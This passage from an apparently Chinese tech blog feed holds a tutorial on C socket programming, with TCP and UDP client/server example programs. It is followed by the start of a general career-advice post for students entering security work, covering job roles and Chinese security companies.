alt="sock函数中协议族和套接字类型的组合" /></p> <p>调用sock函数的代码如下:</p> <div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>#include &lt;sys/socket.h&gt; ...... int sockfd; if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) { //handle exception ...... } </code></pre></div></div> <h3 id="connect函数">connect函数</h3> <p>connect函数用于激发TCP的三次握手过程。建立与远程服务器的连接</p> <p>TCP<strong>客户端</strong>使用connect函数来配置套接字，建立一个TCP服务器的连接</p> <p>connect函数如下:</p> <div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>#include &lt;sys/socket.h&gt; int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen); </code></pre></div></div> <p>sockfd参数是由socket函数返回的套接字描述符</p> <p>addr参数是指向服务器的套接字地址结构的指针，如果是IPv4地址，server指向的就是一个sockaddr_in地址结构，在进行connect函数调用时，<strong>必须将sockaddr_in结构转换成通用地址结构sockaddr</strong>。最后一个参数addrlen是该套接字地址结构的大小。</p> <p>调用成功返回0，出错则返回-1</p> <p>如果描述符是TCP套接字，调用函数connect就是建立一个TCP的连接，只在连接建立成功或者出错时该函数才返回，返回的错误有如下几种情况：</p> <ul> <li>如果客户没有收到SYN分节的响应，返回ETIMEDOUT，这可能需要重发若干次SYN</li> <li>如果对客户的SYN的响应是RST，则表明该服务器主机在指定的端口上没有进程在等待与之相连。客户端马上返回错误ECONNREFUSED</li> <li>如果客户发出的SYN在中间路由器上引发一个目的地不可达ICMP错误，客户端内核保存此消息，并按第一种情况，连续重传SYN，直到规定时间的超时时间，对方仍没有响应，则返回保存的消息(即ICMP错误)EHOSTUNREACH或ENETUNREACH错误返回给进程</li> </ul> <p>对于TCP连接的状态，connect导致客户端从CLOSED状态转到了SYN_SENT状态。</p> <p>若建立连接成功，也就是connect调用成功，状态会再变到ESTABLISHED状态。若函数connect调用失败，则套接字不能再使用，必须关闭。如果想继续向服务器发起建立连接的请求，就需要重新调用socket函数，生成新的套接字</p> <p>调用connect函数的代码如下:</p> <div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>#include &lt;sys/socket.h&gt; ...... int socked; struct sockaddr_in server; ...... bzero(&amp;server, sizeof(server));//为套接字地址结构server设置初始值0 server.sin_family = AF_INET; //为套接字地址结构中的成员赋值 server.sin_port = htons(1234); //为套接字地址结构中的成员赋值，端口号为1234 server.sin_addr.s_addr = inet_addr("127.0.0.1"); //为套接字地址结构中的成员赋值，127.0.0.1是客户端要建立连接的服务器的IP地址 if(connect(sockfd, (struct sockaddr *)&amp;server, sizeof(server) == -1) //调用connect函数，与服务器建立连接，connect函数第二个参数为将IPv4的套接字地址结构强制转换为通用地址结构 { //handle exception //如果调用connect函数失败，连接失败的异常处理 ...... } ...... </code></pre></div></div> <h3 id="bind函数">bind函数</h3> <p>绑定函数bind的作用就是为调用socket函数产生的套接字分配一个本地协议地址，建立地址与套接字的对应关系</p> <p>对于网际协议，协议地址包括32位的IPv4地址或128位的IPv6地址和16位的UDP或TCP的端口号</p> <p>对于绑定操作，地址信息必须是唯一的，在实际应用中，通过绑定的端口号来保证地址的唯一性</p> <p>bind函数如下:</p> <div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>#include &lt;sys/socket.h&gt; int bind(int socked. const struct sockaddr *server, socklen_len addrlen); </code></pre></div></div> <p>参数sockfd是套接字函数返回的套接字描述符</p> <p>参数server是指向特定于协议的地址结构的指针，指定用于通信的本地协议地址</p> <p>参数addrlen指定了该套接字地址结构的长度</p> <p>如果调用成功返回0，调出错返回-1，并置错误号errno</p> <p>对于绑定的套接字地址结构，可以指定端口号或IP地址中的任意一个，可以两个都指定，也可以一个也不指定。如果不绑定任何端口，当调用connect或listen时，内核会为套接字选择一个临时的端口。</p> <p><strong><em>进程如果绑定了一个特定的本地IP地址到它的套接字上，对于TCP客户端，这就为在此套接字上发送的IP数据报分配了源IP地址。对于TCP服务器端，这就限制了该套接字只接收目的地址为此IP地址的客户连接</em></strong></p> <p><img src="http://upload-images.jianshu.io/upload_images/7216746-7c4f94c531c21bb2.jpg?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="函数绑定的IP地址、端口号" /></p> <p>bind函数的代码如下:</p> <div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>#include &lt;sys/socket.h&gt; ...... int sockfd; int port = 1234;//bind的端口号为1234 struct sockaddr_in server; ...... bzero(&amp;server, sizeof(server)); server.sin_family = AF_INET; server.sin_port = htons(port); server.sin_addr.s_addr = htonl(INADDR_ANY);//IP地址是一个通配地址，由内核选择IP地址。关于INADDR_ANY见上图 if(bind(sockfd, (struct sockaddr *)&amp;server, sizeof(server) == -1)) { //handle exception ...... } ...... </code></pre></div></div> <h3 id="listen函数">listen函数</h3> <p>当调用函数socket创建一个套接字时，默认情况下它是一个主动套接字，也就是一个将调用connect函数发起连接的客户端套接字。所以对于TCP服务器，在绑定操作后，必须要调用listen函数，<strong>将这个未连接的套接字转换成被动套接字，监听有无客户要连接，进入被动接受连接请求状态</strong>。</p> <p>在调用listen函数后，服务器的状态从CLOSED转换到了LISTEN状态</p> <p>listen函数如下:</p> <div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>#include &lt;sys/socket.h&gt; int listen(int sockfd, int backlog); </code></pre></div></div> <p>参数sockfd是要设置的描述符</p> <p>参数backlog规定了请求队列中的最大连接个数，它对队列中等待服务请求的数目进行了限制，如果一个服务请求到来时，输入队列已满，该套接字将拒绝连接请求。</p> <p>函数调用成功返回0，出错返回-1，并置errno值</p> <p><img src="http://upload-images.jianshu.io/upload_images/7216746-fc18150f6468c509.jpg?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="TCP三次握手中两个队列的位置" /></p> <p><img src="http://upload-images.jianshu.io/upload_images/7216746-f984846a973bafb1.jpg?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="文字补充" /></p> <p>listen函数代码如下:</p> <div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>#include &lt;sys/socket.h&gt; ...... int sockfd; int BACKLOG = 5; //设置监听的最大连接数为5 ...... if(listen(sockfd, BACKLOG) == -1) //调用listen函数，将sockfd描述符设置为监听描述符 { //handle exception //当listen函数调用失败时的异常处理 ...... } ...... </code></pre></div></div> <h3 id="accept函数">accept函数</h3> <p><strong>accept函数使服务器接受客户端的连接请求</strong></p> <p>它将完成队列中的队头条目返回给进程，并产生一个新的套接字描述符——<code class="highlighter-rouge">已连接套接字</code></p> <p>当已完成队列为空，则进程睡眠，直到有已完成连接到达时。</p> <p>accept函数如下:</p> <div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>#include &lt;sys/socket.h&gt; int accept(int listenfd, struct sockaddr *client, socklen_t *addrlen); </code></pre></div></div> <p>listenfd函数是由socket函数产生的套接字描述符，<strong>在调用accept函数前，已经调用listen函数将此套接字变成了监听套接字</strong></p> <p>client和addrlen参数用来返回连接对方的套接字地址结构和对应的结构长度</p> <p>addrlen参数是一个值—结果参数，调用前，将addrlen指针所指的值置为client所指的套接字地址结构的长度。函数返回时，此整数值变为内核写入此套接字地址结构的准确字节数。</p> <p>函数调用成功时，可以得到三个值:</p> <ul> <li>一个是accept函数的返回值，<code class="highlighter-rouge">已连接套接字描述符</code>。已连接套接字描述符是内核为每个被接受的客户都分别创建一个。用完则关闭。<code class="highlighter-rouge">监听描述符负责接收客户的连接请求，而已连接描述符负责与对应的客户进行数据传输</code></li> <li>由client参数返回客户端的协议地址，包括IP地址和端口号等</li> <li>由addrlen参数返回客户端地址结构的大小</li> </ul> <p>如果对客户的协议地址和地址结构的长度不感兴趣，可以将client和addrlen两个参数都设为空指针。</p> <p>如果函数调用失败，accept函数将返回-1，并置errno值。调用accept函数的代码如下:</p> <div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>#include &lt;sys/socket.h&gt; ...... int listenfd, connfd; //定义了两个套接字描述符，一个是监听套接字描述符，一个是已连接套接字描述符 struct sockaddr_in client; socklen_t addrlen; addrlen = sizeof(client); //得到client当前的长度 ...... connfd = accept(listenfd, (struct sockaddr *)&amp;client, &amp;addrlen); //调用accept函数，接收连接请求，返回已连接套接字描述符 //与服务器连接的客户端的协议地址可以通过参数client得到，addrlen返回内核写入client结构体中的准确字节数 if(connfd == -1){ //handle exception ...... } ...... </code></pre></div></div> <h2 id="数据传输函数">数据传输函数</h2> <blockquote> <p>服务端和客户端连接建立成功后，就可以进行双向的数据传输。服务端和客户端使用各自的套接字描述符进行读写操作</p> </blockquote> <h3 id="write函数">write函数</h3> <p>write()函数用于数据的发送，如下:</p> <div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>#include &lt;unistd.h&gt; int write(int sockfd, char *buf, int len); </code></pre></div></div> <p>参数sockfd是套接字描述符。对于服务器是accept()函数返回的已连接套接字描述符。对于客户端是调用socket()函数返回的套接字描述符。参数buf是指向一个用于发送信息的数据缓冲区。len指明传送数据缓冲区的大小。</p> <p>函数滴啊用成功返回大于0的整数，也就是发送的字节数。出错则返回-1。</p> <h3 id="read函数">read函数</h3> <p>用于数据的接收</p> <div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>#include &lt;unistd.h&gt; int read(int sockfd, char *buf, int len); </code></pre></div></div> <p>参数sockfd是套接字描述符。对于服务器是accept()函数返回的已连接套接字描述符。对于客户端是调用socket()函数返回的套接字描述符。参数buf是指向一个用于接收信息的数据缓冲区。len指明传送数据缓冲区的大小。</p> <p>函数滴啊用成功返回大于0的整数，也就是接收的字节数。出错则返回-1。</p> <p>调用read()函数的代码如下:</p> <div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>#include &lt;unistd.h&gt; #include &lt;sys/socket.h&gt; #define MAXDATASIZE 100 //定义接收信息的数据缓冲区的长度 ...... int num, connfd; char buf[MAXDATASIZE]; ...... if( (num = read(connfd, buf, MAXDATASIZE)) &gt; 0){ //接收数据，整数num返回接收的字节数 //handle data //处理收到的数据 ...... } ...... </code></pre></div></div> <h3 id="send函数">send函数</h3> <p>用于数据的发送操作</p> <div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>#include &lt;sys/types.h&gt; #include &lt;sys/socket.h&gt; ssize_t send(int sockfd, const void *buf, size_t len, int flags); </code></pre></div></div> <p>前三个参数与write相同，参数flags是传输控制标志，其值定义如下图: <img src="https://ws4.sinaimg.cn/large/006tNbRwgy1fwvxnalfc3j30js04zq7l.jpg" alt="send函数的参数flags" /></p> <h3 id="recv函数">recv函数</h3> <p>用于数据的发送操作</p> <div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>#include &lt;sys/types.h&gt; #include &lt;sys/socket.h&gt; ssize_t recv(int sockfd, void *buf, size_t len, int flags); </code></pre></div></div> <p><img src="https://ws2.sinaimg.cn/large/006tNbRwgy1fwvxofm543j30k207n453.jpg" alt="recv函数的参数flags" /></p> <p>调用recv函数的代码如下:</p> <div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>#include &lt;unistd.h&gt; #include &lt;sys/socket.h&gt; #define MAXDATASIZE 100 ...... int num, connfd; char buf[MAXDATASIZE]; ...... if( (num = recv(connfd, buf, MAXDATASIZE)) &gt; 0){ //接收数据，整数num返回接收的字节数 //handle data //处理收到的数据 ...... } ...... </code></pre></div></div> <h2 id="tcp套接字编程实例">TCP套接字编程实例</h2> <p>程序实现的功能是:</p> <ul> <li>客户根据用户提供的IP地址，连接到相应的服务器</li> <li>服务器等待客户的连接，一旦连接成功，则显示客户的IP地址、端口号，并向客户发送字符串</li> <li>客户接受服务器发送的信息并显示</li> </ul> <h3 id="tcp服务器端程序如下serverc">TCP服务器端程序如下(server.c):</h3> <div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>#include &lt;stdio.h&gt; #include &lt;strings.h&gt; #include &lt;unistd.h&gt; #include &lt;sys/types.h&gt; #include &lt;sys/socket.h&gt; //通用套接字地址结构 #include &lt;netinet/in.h&gt; //IPv4套接字地址结构 #include &lt;arpa/inet.h&gt; //IP地址转换函数 #include &lt;string.h&gt; #include &lt;stdlib.h&gt; #define PORT 1234 //客户端与服务器的端口要对应 #define BACKLOG 1//listen函数中的参数，此参数规定了请求队列中的最大连接个数，由于本例不是并发服务器，所以最大允许连接的数量BACKLOG定义为1 main() { int listenfd, connectfd/*已连接套接字描述符*/; struct sockaddr_in server;//套接字地址结构 struct sockaddr_in client; socklen_t addrlen; /*Create TCP socket*/ if ((listenfd=socket(AF_INET, SOCK_STREAM, 0)) == -1) //创建TCP套接字,socket()函数第二个参数为字节流接口。如果出错打印错误信息。 { perror("socket() error."); exit(-1); } int opt = SO_REUSEADDR; setsockopt(listenfd, SOL_SOCKET, SO_REUSEADDR, &amp;opt, sizeof(opt)); //以上两行设置套接字选项SO_REUSEADDR，即地址重用选项。 //由于系统默认是只允许一个套接字绑定一个特定的协议地址上，并且当该套接字关闭后，系统仍不允许在该地址上绑定其他套接字。 //如果去掉这两行，程序运行时产生的错误信息为:"Bind() error:Address already in use" bzero(&amp;server, sizeof(server));//初始化server套接字地址结构，初始值为0 server.sin_family = AF_INET;//为套接字地址结构中的成员赋值 server.sin_port = htons(PORT); server.sin_addr.s_addr = htonl(INADDR_ANY); if (bind(listenfd, (struct sockaddr *)&amp;server, sizeof(server)) == -1) //调用bind()函数将套接字描述符与server套接字地址结构中的协议地址绑定 { perror("bind() eror"); exit(1); } if (listen(listenfd, BACKLOG) == -1) //listen()函数将listenfd描述符设置为监听套接字，等待客户连接 { perror("listen() error.\n"); exit(1); } addrlen = sizeof(client);//得到client当前的长度 if ((connectfd = accept(listenfd, (struct sockaddr *)&amp;client, &amp;addrlen)) == -1) //接受客户端连接，将客户的地址信息存放在client地址结构中，&amp;addrlen为内核写入client结构体中的准确字节数 { perror("accept() error\n"); exit(1); } printf("You got a connection from client's ip is %s, port is %d\n", inet_ntoa(client.sin_addr), htons(client.sin_port)); //显示客户的IP地址和端口号，通过inet_ntoa()函数将IP地址转换成可显示的ASCII串，通过htons()函数将端口号转换成网络字节序 send(connectfd, "Welcome\n",8,0);//发送Welcome字符串给客户端 close(connectfd);//先关闭已连接套接字，再关闭监听套接字 close(listenfd); return 0; } </code></pre></div></div> <h3 id="tcp客户端程序如下clientc">TCP客户端程序如下(client.c):</h3> <div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>#include &lt;stdio.h&gt; #include &lt;unistd.h&gt; #include &lt;strings.h&gt; #include &lt;sys/types.h&gt; #include &lt;sys/socket.h&gt; #include &lt;netinet/in.h&gt; #include &lt;netdb.h&gt; #include &lt;string.h&gt; #include &lt;stdlib.h&gt; #define PORT 1234 //服务器的端口与客户端的端口对等 #define MAXDATASIZE 100 //这里的缓冲区采用静态方式分配 int main(int argc, char *argv[]) { int sockfd, num; char buf[MAXDATASIZE]; struct hostent *he; struct sockaddr_in server; if (argc != 2) //检查用户的输入。如果用户输入不正确，提示用户正确的输入方式 { printf("Usage:%s &lt;IP Address&gt;\n", argv[0]); exit(1); } //通过用户输入的点分十进制形式的IP地址，获得服务器的相关地址信息 if ((he = gethostbyname(argv[1])) == NULL) { printf("gethostbyname() error\n"); exit(1); } //调用socket()函数产生套接字描述符 if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) { printf("socket() error\n"); exit(1); } //初始化服务器的地址结构，并为地址结构的成员赋值 bzero(&amp;server, sizeof(server)); server.sin_family = AF_INET; server.sin_port = htons(PORT); server.sin_addr = *((struct in_addr *)he-&gt;h_addr); //调用connect()函数连接到服务器server if (connect(sockfd, (struct sockaddr *)&amp;server, sizeof(server)) == -1) { printf("connect() error\n"); exit(1); } //接受服务器发过来的字符串，并保存在buf中。接收的真正字节数被存储在num中 if ((num = recv(sockfd, buf, MAXDATASIZE,0)) == -1) { printf("recv() error\n"); exit(1); } buf[num-1] = '\0'; //以\0标志字符串的结束 printf("server message: %s\n", buf);//显示从服务器接收到的buf中的信息 close(sockfd); //关闭套接字 } </code></pre></div></div> <h3 id="代码运行截图">代码运行截图:</h3> <p><img src="https://ws2.sinaimg.cn/large/006tNbRwgy1fww1gynahej30k20ccjtf.jpg" alt="运行截图" /></p> <h1 id="第四章-基本udp套接字编程">第四章 基本UDP套接字编程</h1> <h2 id="udp套接字编程">UDP套接字编程</h2> <p><img src="https://ws1.sinaimg.cn/large/006tNbRwgy1fww1mjxv7rj30ix0ecakv.jpg" alt="UDP客户/服务器的套接字函数" /></p> <p>UDP套接字编程中，服务器端实现的步骤:</p> <ul> <li>使用socket()函数创建套接字</li> <li>为创建的套接字绑定到指定的地址结构</li> <li>等待接受客户端的数据请求</li> <li>处理客户端的请求</li> <li>向客户端发送应答数据</li> <li>关闭套接字</li> </ul> <p>客户端实现的步骤:</p> <ul> <li>使用socket()函数创建套接字</li> <li>发送数据请求给服务器</li> <li>等待接收服务器的数据应答</li> <li>关闭套接字</li> </ul> <h3 id="recvfrom函数">recvfrom函数</h3> <p>此函数用于接收数据，函数中药指明源地址</p> <div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>#include &lt;sys/types.h&gt; #include &lt;sys/socket.h&gt; ssize_t recvfrom(int sockfd, void *buf, size_t len, int flags, struct sockaddr *from, size_t *addrlen); //前三个参数分别为:调用socket函数生成的描述符、指向读入缓冲区的指针、读入的字节数 //flags参数是传输控制标志，其值通常为0，代表所做的操作与read相同，还有MSG_OOB, MSG_PEEK //from返回与之通信的对方的套接字地址结构，告诉用户接收到的数据报来自于谁 //addrlen是一个指向整数值的指针(值-结果参数)，存储数据发送者的套接字地址结构的字节数 //如果from或addrlen两者之一要为空，必须同时设为空 </code></pre></div></div> <p>函数调用成功的返回值为接收到数据的长度(以字节为单位)，也就是接收的数据报中用户数据的总量。调用失败返回-1，并置errno</p> <p>调用recvfrom函数代码如下:</p> <div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>#include &lt;sys/types.h&gt; #include &lt;sys/socket.h&gt; #define MAXDATASIZE 100 ...... int num, sockfd; socklen_t addrlen; sockaddr_in peer_addr; char buf[MAXDATASIZE]; ...... addrlen = sizeof(peer_addr); while(1) { num = recvfrom(sockfd, buf, MAXDATASIZE, 0, (struct sockaddr *)&amp;peer_addr, &amp;addrlen); //用recvfrom函数接收数据，将接收到的数据保存在buf中，整数num返回接收的字节 //地址结构peer_addr返回发送数据方的协议地址，addrlen返回存储在peer_addr中的字节数 if (num &lt; 0) { /*handle exception*/ } /*handle data*/ ...... } ...... </code></pre></div></div> <h3 id="sendto函数">sendto函数</h3> <p>此函数用于发送数据，要指明目的地址</p> <p>sendto函数如下:</p> <div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>#include &lt;sys/types.h&gt; #include &lt;sys/socket.h&gt; ssize_t sendto(int sockfd, const void *buf, size_t len, int flags, const struct sockaddr *to, int addrlen); //前三个参数分别为:调用socket函数生成的描述符、指向发送缓冲区的指针、发送的字节数 //flags参数是传输控制标志，其值通常为0，代表所做的操作与write相同，还有MSG_DONTROUTE，MSG_OOB //函数sendto的参数to的类型是套接字地址结构，指明数据将发往的协议地址，它的大小由addrlen参数决定 </code></pre></div></div> <p>该函数调用成功的返回值为发送数据的长度(以字节为单位)。如果调用失败则返回-1，并置相应的errno值</p> <h2 id="udp套接字编程实例">UDP套接字编程实例</h2> <p>程序实现的功能是:</p> <ul> <li>客户根据用户提供的IP地址，将用户从终端输入的信息发送给服务器，然后等待服务器的回应</li> <li>服务器接收客户端发送的信息，并显示，同时显示客户的IP地址、端口号，并向客户端发送信息。如果服务器接收的客户信息为“bye”，则退出循环，并关闭套接字。</li> <li>客户接收、显示服务器发回的信息，并关闭套接字</li> </ul> <h3 id="ucp服务器端程序如下udp_serverc">UCP服务器端程序如下(UDP_server.c):</h3> <div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>#include &lt;stdio.h&gt; #include &lt;string.h&gt; #include &lt;unistd.h&gt; #include &lt;sys/types.h&gt; #include &lt;sys/socket.h&gt; #include &lt;stdlib.h&gt; #include &lt;netinet/in.h&gt; #include &lt;arpa/inet.h&gt; #define PORT 1234 //定义端口号 #define MAXDATASIZE 100 //定义接收缓冲区大小 main() { int sockfd; struct sockaddr_in server; struct sockaddr_in client; socklen_t len; int num; char buf[MAXDATASIZE]; /*creating UDP socket*/ if ((sockfd = socket(AF_INET, SOCK_DGRAM, 0)) == -1) {//调用socket函数，产生UDP套接字。如果出错打印错误信息。 perror("Creating socket failed."); exit(1); } bzero(&amp;server, sizeof(server));//初始化server套接字地址结构，并对地址结构中的成员赋值 server.sin_family = AF_INET; server.sin_port = htons(PORT); server.sin_addr.s_addr = htonl(INADDR_ANY); if (bind(sockfd, (struct sockaddr *)&amp;server, sizeof(server)) == -1) {//将套接字和指定的协议地址绑定 perror("Bind() error."); exit(1); } len = sizeof(client); while(1) { num = recvfrom(sockfd, buf, MAXDATASIZE, 0, (struct sockaddr *)&amp;client, &amp;len); //接收客户端的信息，并存放在buf中，客户端的地址信息存放在client地址结构中。如果成功num返回接收的字符串的长度。 if (num &lt; 0) { perror("recvfrom() error\n"); exit(1); } buf[num]='\0'; printf("You got a message &lt;%s&gt; from client.\nIt's ip is %s, port is %d.\n", buf, inet_ntoa(client.sin_addr), htons(client.sin_port)); //显示接收到的客户信息、客户的IP地址和端口号。通过inet_ntoa()函数将IP地址转换成可显示的ASCII串，通过htons()函数将端口号转换成网络字节序 sendto(sockfd, "Welcome\n", 8, 0, (struct sockaddr *)&amp;client, len);//发送Welcome字符串给客户端 if (!strcmp(buf, "bye")) //如果客户端发来的字符串是"bye"，则退出循环 { break; } } close(sockfd); } </code></pre></div></div> <h3 id="ucp客户端程序如下udp_clientc">UCP客户端程序如下(UDP_client.c):</h3> <div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>#include &lt;stdio.h&gt; #include &lt;string.h&gt; #include &lt;unistd.h&gt; #include &lt;sys/types.h&gt; #include &lt;sys/socket.h&gt; #include &lt;stdlib.h&gt; #include &lt;netinet/in.h&gt; #include &lt;arpa/inet.h&gt; #include &lt;netdb.h&gt; #define PORT 1234 //这里的端口号要和服务器的端口号一样 #define MAXDATASIZE 100 int main(int argc, char const *argv[]) { int sockfd, num; char buf[MAXDATASIZE]; struct hostent *he; struct sockaddr_in server, peer; socklen_t len; if (argc != 3) //检查用户的输入 { printf("Usage: %s &lt;IP Address&gt;&lt;message&gt;\n", argv[0]); exit(1); } if ((he = gethostbyname(argv[1])) == NULL) { printf("gethostbyname() error\n"); exit(1); } if ((sockfd = socket(AF_INET, SOCK_DGRAM, 0)) == -1){ //调用socket()函数产生套接字描述符 printf("socket() error\n"); exit(1); } bzero(&amp;server, sizeof(server)); server.sin_family = AF_INET; server.sin_port = htons(PORT); server.sin_addr = *((struct in_addr *)he-&gt;h_addr); /*he-&gt;h_addr the first ip*/ sendto(sockfd, argv[2], strlen(argv[2]), 0, (struct sockaddr *)&amp;server, sizeof(server)); //将用户从命令行输入的消息发送给服务器server len = sizeof(server); while(1) { if ((num = recvfrom(sockfd, buf, MAXDATASIZE, 0, (struct sockaddr *)&amp;peer, &amp;len)) == -1) //接收服务器发过来的字符串，并保存在buf中。接收的真正字节数被存储在num中，同时peer返回接收服务器的地址 { printf("recvfrom() error\n"); exit(1); } if (len!= sizeof(server) || memcmp((const void *)&amp;server, (const void *)&amp;peer, len) != 0) //由于UDP套接字是无连接的，它可能接收到其他服务器发来的信息，所以应判断信息是否来自于相应的服务器。 //首先，比较recvfrom()函数调用后返回的地址长度len是否等于结构体server的长度。如果不是，则说明消息来自于其它服务器。 //然后判断server和peer变量中的内容是否一致。如果一致，则说明收到的消息来自于相应的服务器。 //注意，server和peer使用memcmp函数进行比较时，首先应转换成常量指针才能使用。 { printf("Receive message from other server.\n"); continue; } buf[num] = '\0'; printf("Server Message: %s.\n", buf);//显示来自于服务器的信息 break; } close(sockfd); } </code></pre></div></div> <h3 id="代码运行截图-1">代码运行截图</h3> <p>可以多个客户端同时向服务器发送消息 <img src="https://ws1.sinaimg.cn/large/006tNbRwgy1fww6wj3jx6j30xs0fiwm6.jpg" alt="UDP代码运行截图" /></p> <h2 id="connect函数用于udp">connect函数用于UDP</h2> <p>UDP调用connect函数，没有三路握手过程，内核只是记录与之通信的对方的IP地址和端口号，它们包含在传递给connect的套接口地址结构中，并立即返回给调用进程</p> <p>调用了connect函数的UDP套接字为<code class="highlighter-rouge">已连接UDP套接字</code></p> <p>UDP程序调用了connect函数，将指定与之通信的对方的IP地址和端口号，只与唯一对方通信，只能使用recv或read接收数据，只能使用send或write发送数据</p> <p>详细介绍: <img src="https://ws2.sinaimg.cn/large/006tNbRwgy1fwx2lh2axzj30on0iynka.jpg" alt="详细介绍" /></p> Mon, 15 Oct 2018 00:00:00 +0000 http://WaIdo.github.io/2018/10/15/%E7%BD%91%E7%BB%9C%E7%BC%96%E7%A8%8B%E6%8A%80%E6%9C%AF/ http://WaIdo.github.io/2018/10/15/%E7%BD%91%E7%BB%9C%E7%BC%96%E7%A8%8B%E6%8A%80%E6%9C%AF/ 计算机网络 <h1 id="首先说一说方向这个东西">首先说一说方向这个东西</h1> <p>搞安全这个东西，最让人难受的不是哪个点不会，而是不知道自己该学啥，或者自己学了这点东西有啥用，前进的方向是最让人迷的东西。</p> <p>那我就先分享一下，我们之后的方向是个什么东西。</p> <p>首先请大家忘记渗透和逆向这两个东西，因为安全是一体的，上面两种只是我们小菜的划分，在企业中基本上就分为这么三种：</p> <ul> <li>安全服务部门</li> <li>安全实验室</li> <li>研发部门</li> </ul> <h2 id="安服部门">安服部门</h2> <p>国内安服部门（老板）一般都是做乙方测试，就是第三方测试，也就是通常所说的渗透测试，也是授权测试。</p> <p>简单点说，利用除DDOS的攻击方式，检测网站WEB安全，并将这些问题汇总为渗透测试文档。</p> <p>通常大家熟悉的各大SRC，可以说就是一种面向互联网的乙方测试。只不过公司中会接收到定向的业务罢了。</p> <p>平时会有全国各地的应急响应，所以说出差的事件可能会比较多。在没有应急响应的时候，就可以自己做自己的事情。</p> <p>在大部分安全企业中，安服部门直接就变成了渗透部门，里面的人的工作包括乙方测试，漏洞研究，漏洞挖掘。所以说，现在需求比较大的，还是安服部门。</p> <h2 id="安全实验室">安全实验室</h2> <p>在一些企业中，安服部门与安全试验室是分开的，比如腾讯、阿里、360。</p> <p>各个企业中安全实验室的工作都是不一样的。我这边用创宇的为例。</p> <p>创宇的404是做实时web漏洞分析的，也就是最近爆出了什么样的漏洞，就立刻进行漏洞复现、分析、与poc的编写。比如说这次的Str-2，安全实验室的工作就是第一时间出漏洞检测工具，并给出漏洞防护措施。</p> <p>说实话，安全实验室才是分类更为细致的部门：</p> <ul> <li>Web漏洞研究与挖掘</li> <li>二进制漏洞分析与挖掘</li> <li>移动安全</li> <li>硬件安全</li> <li>物联网安全</li> <li>云安全</li> <li>机器学习与安全防护软件</li> <li>大数据的收集与大数据分析</li> <li>工控安全</li> </ul> <p>其中由各个部门所衍生出来的复合型实验室也很好玩，比如说破解ps4啦，搞特斯拉汽车啦。</p> <h2 id="研发部门">研发部门</h2> <p>现在安全企业中的研发部门，一般要求的语言有这么几种：Python、C、C++、C#、java。最流行的是Python，用于大数据的分析。</p> <h2 id="重点来了">重点来了</h2> <p>所以说，说了这么多的废话，总结如下：</p> <ul> <li> <p>现在搞渗透的童靴，要么，你就去研究漏洞利用的新姿势，要么，你就去挖洞。</p> <p>也就是对应着两个方向渗透测试、web漏洞挖掘。</p> <p>更简单的来说，要么你去搞站（最好是src），要么你去挖洞。</p> </li> <li> <p>那么搞逆向的童靴呢？我不是搞逆向的，不能给出明确的答复，但是据我了解，你们可以往这个方向走：</p> <ul> <li>二进制方向： <ul> <li>这个又分为win与linux，现在多数招的是linux，所以往linux方向靠，肯定没问题。</li> <li>接着往底层走，汇编、0day2和漏洞战争好好看。</li> </ul> </li> <li> <p>安卓逆向：</p> <p>最近最火的方向之一，这个方向也是可以的。</p> </li> </ul> </li> </ul> <p>其他的东西，可以和德全交流。</p> <ul> <li> <p>想做安全编程的童靴，Python是必备技能，重要性不多说了。</p> </li> <li> <p>做渗透的童靴要学会向二进制走，学二进制的童靴，要懂web，这个是很关键的。</p> </li> </ul> <h1 id="有点啥公司推荐">有点啥公司推荐</h1> <p>这个其实很多余，但还是说一说。</p> <ul> <li> <p>川内：</p> <ul> <li>启明星辰：川内最近成了ADlab成都分部，主要方向是物联网安全、工控安全。偏向于二进制，做web的同学主要是著名cms（wordpress下载量超十万还是百万的插件）的漏洞挖掘。</li> <li>无声（pkav）：算是唯一总部在川内的安全公司，二进制和web都有招，二进制偏向于二进制漏洞挖掘，web偏向乙方测试、漏洞挖掘、ctf</li> <li>360：360在成都是有一个实验室的，主要偏向是移动端安全，要求很高，一般只招正式员工。</li> </ul> </li> <li> <p>川外（北京）：</p> <ul> <li>360企业安全部：和360不一样，要求更高，偏向于企业安全，主要为乙方测试，和漏洞研究与漏洞挖掘。</li> <li>360：每年这个时候有360校招，工位蛮多的，应该是有3-4面。</li> <li>知道创宇（去过这边实习后，再去其他地方实习就不怕了）：404实验室，主要是做业务，进行漏洞分析漏洞测试poc漏洞文档，工作强度还是可以的，也从事漏洞挖掘。</li> <li>长亭科技：phithon在的公司，主要是乙方测试。</li> <li>绿盟：甲方测试和乙方测试</li> <li>天融信、华为：硬件防火墙</li> <li>启明星辰的总部：不多说了</li> </ul> </li> <li>深圳： 腾讯：腾讯6面….嗯</li> <li>杭州： <ul> <li>阿里：阿里6面还是4面…..</li> <li>安恒</li> </ul> </li> <li>武汉： 安天</li> <li>还有各地国安</li> </ul> <h2 id="简历写点啥">简历写点啥</h2> <ol> <li>会什么语言</li> <li>学校有什么项目（你看上去不重要，其实他们蛮重视的）</li> 